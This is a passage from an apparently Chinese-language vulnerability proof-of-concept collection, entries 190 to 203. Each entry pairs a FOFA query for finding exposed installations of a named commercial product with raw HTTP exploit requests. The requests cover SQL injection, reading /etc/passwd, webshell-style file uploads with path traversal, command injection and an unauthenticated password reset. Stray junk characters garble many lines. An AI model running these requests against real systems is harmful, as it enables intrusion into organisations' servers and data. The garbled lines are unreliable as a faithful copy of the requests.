GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
8 d; G: W: G/ l# l$ s; xHost: your-ip
9 e, S- s' D1 B$ {" a' |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 p( g7 k& J1 h  dAccept-Encoding: gzip, deflate
& F7 N6 p; }+ R2 uAccept-Language: zh-CN,zh;q=0.9
) [7 i) w" y; W* z8 f% lConnection: close
. Q) S+ l8 _' y; S0 w* R) M
1 V& A5 _$ O# L" \. k
/ ?+ `% b" i6 }3 _! G& r; q190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
+ a: L' F  @  D. f, SHost: your-ip
% ], \0 z. R4 q! k) [& e( {. [5 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
# a. ~& T, a/ x) ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 k' @" j7 O  x0 x2 {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

; w1 v$ \, _0 X+ mpoi=file:///etc/passwd
  y" I) V) @5 \+ x
( R2 l: D5 P( m' N
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
9 f8 v6 b% b) U& q5 OPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
8 D( _7 t0 l. U* V+ C3 mHost: your-ip
5 l0 x, ^0 @5 _. |3 b" D, h" _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; L, |2 b- [+ e$ L/ j+ a( e
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
6 n: [3 m" o! w; ?+ H( `: G; @, `

% S. a6 S' c7 l' h% l: _192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 ~1 a2 M% |% J  h$ NFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
6 E+ h) W0 Z7 d( I: z& m" Z5 UHost: your-ip
" R7 k, B6 j3 B) [) @  |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' W( l, C  x: B) L6 b) ~; L- mContent-Type: application/x-www-form-urlencoded
7 o5 n. Y! }* G- H7 H

/ ?& s5 J8 Y- S: Y9 o0 P, `<% @ webhandler language="C#" class="AverageHandler" %>
+ g8 d5 o3 T$ l# Dusing System;
. s" r0 t: g+ }, x, gusing System.Web;
$ v4 l, E7 C! p1 spublic class AverageHandler : IHttpHandler
{
public bool IsReusable
1 ?% U+ f8 @8 N: }6 @2 P{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
$ ^4 h# N4 N" _7 ?{
ctx.Response.Write("test");
}
}
6 _8 Q5 s8 v8 z) i5 |3 L" F! w0 g) [
- a; Z$ |: P" m
0 G( n* _, ?* f9 Y* q/ @/ M193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
: [! R% p- w: u" s/ EGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
0 f( z0 D- f! G' q2 A' Z" r  T7 tContent-Type: application/x-www-form-urlencoded
5 N$ [4 ^7 O+ |' ?" t7 {/ v8 eUser-Agent: Mozilla/5.0

6 P/ @! X. n" u+ D) O1 G, K" y
6 C5 x% y% g% WPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
  [# V. T3 @4 _9 Q% tHost:
User-Agent: Mozilla/5.0
! k9 }( E$ Z/ iAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
4 n5 S4 y1 J) C3 W9 J
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
$ t3 E; X3 U# X5 m

GET /master/img/config HTTP/1.1
1 P4 [: g9 o! EHost:
User-Agent: Mozilla/5.0
% K$ m0 a8 U& M7 M. h6 X$ x" ~# E/ q
# o2 q* B* M2 B* H* z4 x: ^" @* F) g
8 ]1 u: Q2 Z2 W8 c; _194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
) ]* e5 k* L4 M1 T' O, k3 c; JFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

' ~0 G7 g6 ]  _" b* ^7 xPOST /servlet/uploadAttachmentServlet HTTP/1.1
4 I; \! w4 {7 a* F/ CHost: host
# {, G' j4 @4 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, E! F" p6 u- v. ^! I5 T, cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& @$ `- Q( P" @; t; j& XAccept-Encoding: gzip, deflate
Connection: close
# h$ n6 X0 N8 ~1 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
& f& _) n9 f5 f# h" S* `------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
% C- q9 k/ ^; e# NContent-Type: text/plain
<% out.println("hello");%>
  W& k) ^6 {3 O: w. X9 I------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
0 g! r6 ~' w- i: l {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

3 r3 g0 b" K8 S
! o7 D  z4 A! _3 ]195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
; x' r! C9 d( ?% BHost: 127.0.0.1
Pragma: no-cache
9 y$ k' M, i1 b" X% Z0 `Cache-Control: no-cache
" E6 ^0 U& ?+ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; }4 D: E) S/ e* fAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 t  ?# z& _) N& u4 V5 OContent-Type: application/x-www-form-urlencoded
" S9 R) p4 B, ?; r  cContent-Length: 68
$ X* Y3 ?+ z+ i
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

- ?- n, e; Q4 l, H+ q" X
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
7 |, L5 m: K  H2 q2 tPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
8 J( p$ ]+ J/ {# X7 \2 n: cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# k$ I5 B6 E; H( Z$ F9 |* F4 KContent-Type: application/json;charset=UTF-8
: t( X) b& d, _2 `' ~. VX-Requested-With: XMLHttpRequest
$ W$ B- L$ [& [1 r; qHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6 m3 g  {5 n/ F% pContent-Length: 45
: T, @8 d6 A5 ^6 D% D7 _- E. yConnection: close

{"xgh":"test","newPass":"test666","email":""}
! m1 V4 f5 W" W$ w% q" O* O$ Y


, ~! S: D% s) A4 _3 d) j197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
$ {7 K* R3 C  p* `: }  W2 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
+ y+ W- i5 a0 f5 z3 u% j; pConnection: close
- h9 Y) }/ ^2 P; O3 t- F


198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
$ X4 v7 V0 Q' X. `GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& M3 ?' G( N: D1 ?! rAccept: */*
7 e/ Q# [3 z) j9 K$ `* h: d/ EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
# \/ x  D) n6 R2 i+ j0 t

: G, e! ^/ `* Q& s+ [199. cockpit系统assetsmanager_upload接口 文件上传
% u6 J) N) t0 w  w. {* a
' x& o( S! x9 l3 |+ [* A3 `# H1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
9 p2 f9 Y# X% ~% A. E$ ~! kGET /auth/login?to=/ HTTP/1.1
0 t2 k1 `+ k; q& G( X6 P
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
6 ?* A; J4 Q9 Z- e( h* y
0 {# C" F9 ^% g2 m2.使用刚才上一步获取到的jwt获取cookie：
3 P$ l  S  y& W/ l3 b9 Z
POST /auth/check HTTP/1.1
1 b) U3 I9 p9 l' `9 aContent-Type: application/json
/ K# A& q  |5 o0 ~8 f4 L3 `6 i
+ l' J* A/ k6 j{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
" o) ]  j0 V% H7 t% r
响应：200，返回值:
: @* H! M( I  G7 E/ v+ gSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
& r4 r# N- l9 X# CFofa：title="Authenticate Please!"
+ V0 |6 ^# l, uPOST /assetsmanager/upload HTTP/1.1
& P' `) Q: J9 T$ M4 `2 x) rContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
2 _  y- j, T* f5 b; U& XCookie: mysession=95524f01e238bf51bb60d77ede3bea92
8 F# s& u3 o9 F! j6 n3 i
-----------------------------36D28FBc36bd6feE7Fb3
. _- [/ \$ {3 N) H# N0 bContent-Disposition: form-data; name="files[]"; filename="tttt.php"
; C5 L) K* h+ ^: p* a: V/ ]Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
7 u7 t# M( I* s+ W-----------------------------36D28FBc36bd6feE7Fb3
6 t/ J: a4 r3 @; \4 j! [" m1 M. _4 BContent-Disposition: form-data; name="folder"
- }6 \9 r' ]& U; d$ r
-----------------------------36D28FBc36bd6feE7Fb3--

% M3 v( ^, g( l+ ^
/storage/uploads/tttt.php

- Z; z# g* Z: M" Q/ @8 b( j200. SeaCMS海洋影视管理系统dmku SQL注入
/ m9 d! A! a$ l+ q* E& V; `FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
# R- q; L$ f  _4 ]( x0 uCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
* G, [4 v" R4 o) aUpgrade-Insecure-Requests: 1
7 X% Z: x& F8 y$ m" `; q* _# ~Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% _. o. M* y' W1 LAccept-Encoding: gzip, deflate
; ]3 C1 J+ G6 qAccept-Language: zh-CN,zh;q=0.9
) {; g- H$ Z; N4 J: g& v

201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
1 j- }0 p3 @. G" k9 {+ }+ oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 c( t0 g0 s0 {1 \' e8 s  p9 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! Q( W1 W9 [- \# aConnection: close
- b8 X2 \  g! _: {; d  I
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
6 [8 O! q! |% w& z' c" m0 x* Y
/ Y/ i; T, I( k! @0 d& d
, c9 ^# T4 L( e202. 微擎系统 AccountEdit任意文件上传
1 m& y/ @0 @2 ^5 |FOFA：body="/Widgets/WidgetCollection/"
4 s: i( ?% x1 q: r; f获取__VIEWSTATE和__EVENTVALIDATION值
6 l; R# a4 t8 T9 w" v; iGET /User/AccountEdit.aspx HTTP/1.1
+ f+ B7 u7 x2 M) tHost: 滑板人之家
# e9 f8 A3 H# I. hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
2 q+ B0 J/ C; Q  z
  U' e( |* J0 {, o; w
% F) K5 o+ Z6 l' I4 t替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
; |% w' I0 R1 c* N3 uAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
4 [  |2 o% K3 V  v
& F+ T  |9 A2 c6 M/ F6 ~3 F0 ]-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
! q% g% i4 x3 C( @: P+ T: `9 ]
__VIEWSTATE
5 }/ f. ~, D# v! o-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
3 i8 `) j/ e  @3 I0 B
__EVENTVALIDATION
6 u: }3 e7 a7 ?. h2 ^8 j! F-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
2 k5 L1 g& A% ^
! t* X' ?! G1 D! M9 jHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
% E, f" ^8 U. uContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

! H! x# S9 i: X4 s. M
-----------------------------786435874t38587593865736587346567358735687
7 T; d5 ?3 ]/ L! P" EContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
; P7 n* Y. p& S' T' w5 f9 ~1 w
: J' y6 }+ F' x; z
-----------------------------786435874t38587593865736587346567358735687--
# j9 p2 V, G/ e- J0 y
8 j5 R! }- h+ ~1 H* q5 {
! @4 S. _: S. T7 Y, @. h/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
6 e5 a7 z% A/ e9 Z! E$ {8 \, dFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
# D" G! M/ ~% G6 GHost: x.x.x.x
6 n2 g% c$ H; g5 k0 U, zAccept-Encoding: gzip
$ W! I( J. S% h9 e5 T! nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* j  I& I: m1 @7 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
" p% h/ Y6 ^" q; a7 @1 _8 X; v
1 o8 y( a5 A. O, i' q! x5 Q------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
! g! k/ E) w5 a4 ^5 GContent-Type:image/jpeg

" q, z9 z8 L1 h6 o. x) d( c<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

! e% z  d7 _0 q. Y( [  q

, h7 d# \, n0 s8 w3 c  `  [
2 f( @' T& _3 Y* {, F6 W) h
% \( R, c- q# H+ A# {